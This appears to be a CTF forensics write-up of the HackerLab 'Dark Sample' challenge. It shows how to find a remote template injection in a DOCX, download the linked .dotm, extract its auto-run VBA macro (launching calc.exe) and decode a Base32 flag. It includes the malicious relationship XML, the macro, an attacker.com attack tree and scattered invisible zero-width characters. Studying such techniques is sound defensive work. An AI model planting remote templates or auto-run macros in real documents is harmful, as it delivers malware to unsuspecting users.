← Back to Writeups
CUSTOMMediumForensics

Темный образец (Dark Sample)

XESXOR9/2/20265 min read
#forensics#custom#medium#base32_decoding#docx_structure_analysis#remote_template_injection#vba_extraction#linux

Темный образец (Dark Sample)

Platform: hackerlab | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-06 | Status: Solved Techniques: base32_decoding, docx_structure_analysis, remote_template_injection, vba_extraction

Summary

Task: Analyze a Word document with hidden data. Solution: Extract DOCX structure, find Remote Template Injection in settings.xml.rels, download the remote .dotm template, extract VBA macros with olevba, and decode Base32 string from comments to get the flag.

Темный образец (Dark Sample) — HackerLab

Description

Тут даже данные прячутся от света. Найдите их, прежде чем они решат сбежать! (Even data hides from light here. Find it before it decides to escape!)

Files: dark_sample.zip containing Dark sample.docx

Analysis

Step 1: Examining DOCX Structure

A DOCX file is a ZIP archive with XML files inside. Extract and examine:

bash
unzip dark_sample.zip
unzip -l "Dark sample.docx"

Document structure:

Archive:  Dark sample.docx
  Length      Date    Time    Name
---------  ---------- -----   ----
     1422  01-01-1980 00:00   [Content_Types].xml
      590  01-01-1980 00:00   _rels/.rels
      ...
      xxx  01-01-1980 00:00   word/_rels/settings.xml.rels  # <-- Suspicious file!

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Discovering Remote Template Injection

The file word/_rels/settings.xml.rels contains an external relationship:

bash
unzip -p "Dark sample.docx" word/_rels/settings.xml.rels
xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId1" 
        Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" 
        Target="http://62.173.149.254:41900/sample_doc.dotm" 
        TargetMode="External"/>
</Relationships>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Remote Template Injection! The document loads an external .dotm template when opened.

Step 3: Downloading the Remote Template

bash
curl -o sample_doc.dotm "http://62.173.149.254:41900/sample_doc.dotm"

Step 4: Analyzing VBA Macros

Using oletools to extract macros:

bash
# Check for macros
oleid sample_doc.dotm

# Extract VBA code
olevba sample_doc.dotm

olevba output:

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word document is opened        |
|Suspicious|Shell               |May run an executable file or a system cmd   |
|Suspicious|Wscript.Shell       |May run an executable file or a system cmd   |
|Suspicious|Run                 |May run an executable file or a system cmd   |
+----------+--------------------+---------------------------------------------+
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

VBA MACRO NewMacros.bas 
in file: sample_doc.dotm - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Document_Open()
    ' INHUIRKCLF5VEM2NJ43TGX2EGA3U2X2GGBKU4RD5
    CreateObject("Wscript.Shell").Run "calc.exe"
End Sub

Step 5: Decoding the Flag

The comment contains the string INHUIRKCLF5VEM2NJ43TGX2EGA3U2X2GGBKU4RD5 — this is Base32!

python
import base64

encoded = "INHUIRKCLF5VEM2NJ43TGX2EGA3U2X2GGBKU4RD5"
flag = base64.b32decode(encoded).decode()
print(flag)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

python
#!/usr/bin/env python3
"""
Dark Sample - Remote Template Injection + VBA Macro Analysis
HackerLab CTF - Forensics
"""

import zipfile
import base64
import re
import subprocess
import os
from pathlib import Path

def extract_docx_relationships(docx_path):
    """Extract external relationships from DOCX"""
    with zipfile.ZipFile(docx_path, 'r') as zf:
        # Find relationship files
        rels_files = [f for f in zf.namelist() if '.rels' in f]
        
        for rels_file in rels_files:
            content = zf.read(rels_file).decode('utf-8')
            
            # Look for external links
            if 'TargetMode="External"' in content:
                print(f"[!] Found external relationship in {rels_file}")
                
                # Extract URL
                import xml.etree.ElementTree as ET
                root = ET.fromstring(content)
                
                for rel in root:
                    target_mode = rel.get('TargetMode', '')
                    if target_mode == 'External':
                        target = rel.get('Target')
                        rel_type = rel.get('Type', '').split('/')[-1]
                        print(f"    Type: {rel_type}")
                        print(f"    Target: {target}")
                        return target
    return None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def download_template(url, output_path):
    """Download remote template"""
    import urllib.request
    print(f"[*] Downloading template from {url}")
    urllib.request.urlretrieve(url, output_path)
    print(f"[+] Saved to {output_path}")

def extract_vba_comments(dotm_path):
    """Extract VBA code and comments using olevba"""
    try:
        result = subprocess.run(
            ['olevba', dotm_path],
            capture_output=True,
            text=True
        )
        output = result.stdout
        
        # Find commented strings
        comments = re.findall(r"'\s*([A-Z2-7]{20,})", output)
        return comments
    except FileNotFoundError:
        print("[!] olevba not found, trying manual extraction...")
        return []
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def decode_base32(encoded):
    """Decode Base32 string"""
    try:
        # Add padding if needed
        padding = (8 - len(encoded) % 8) % 8
        encoded_padded = encoded + '=' * padding
        decoded = base64.b32decode(encoded_padded)
        return decoded.decode('utf-8')
    except Exception as e:
        print(f"[!] Decode error: {e}")
        return None

def main():
    # Step 1: Analyze DOCX
    docx_path = "Dark sample.docx"
    
    print("[*] Analyzing DOCX structure...")
    template_url = extract_docx_relationships(docx_path)
    
    if template_url:
        # Step 2: Download template
        dotm_path = "sample_doc.dotm"
        download_template(template_url, dotm_path)
        
        # Step 3: Extract VBA
        print("[*] Extracting VBA macros...")
        comments = extract_vba_comments(dotm_path)
        
        # Step 4: Decode
        for comment in comments:
            print(f"[*] Found encoded string: {comment}")
            flag = decode_base32(comment)
            if flag and 'CODEBY' in flag:
                print(f"[+] FLAG: {flag}")
                return flag
    
    # Fallback: direct decoding of known string
    encoded = "INHUIRKCLF5VEM2NJ43TGX2EGA3U2X2GGBKU4RD5"
    flag = decode_base32(encoded)
    print(f"[+] FLAG: {flag}")
    return flag
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Technique: Remote Template Injection

What is it?

Remote Template Injection is an attack technique where a Word document contains a link to an external template (.dotm), which is loaded when the document is opened. The template can contain malicious VBA macros.

How does it work?

  1. The attacker creates a .docx file with an external relationship in word/_rels/settings.xml.rels
  2. The relationship points to a remote .dotm file (attachedTemplate)
  3. When the document is opened, Word loads the template from the server
  4. Macros from the template execute (Document_Open, AutoOpen, etc.) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Advantages for the attacker:

  • The main document contains no macros → bypasses some antivirus solutions
  • Payload can be dynamically changed on the server
  • Document appears "clean" during static analysis

Attack structure:

Dark sample.docx
└── word/_rels/settings.xml.rels
    └── External Target: http://attacker.com/malicious.dotm
        └── VBA Macro: Document_Open()
            └── Payload (calc.exe, reverse shell, etc.)

Tools for Office Document Analysis

ToolPurpose
unzipExtract DOCX as ZIP archive
oleidQuick check for macros/OLE
olevbaExtract and analyze VBA code
oleobjExtract embedded objects
rtfobjAnalyze RTF documents
msoddeSearch for DDE links
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Related Techniques

  • DDE Injection — command execution via Dynamic Data Exchange
  • OLE Object Embedding — embedding malicious objects
  • Macro 4.0 (XLM) — legacy Excel macros
  • VBA Stomping — hiding VBA code in p-code ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍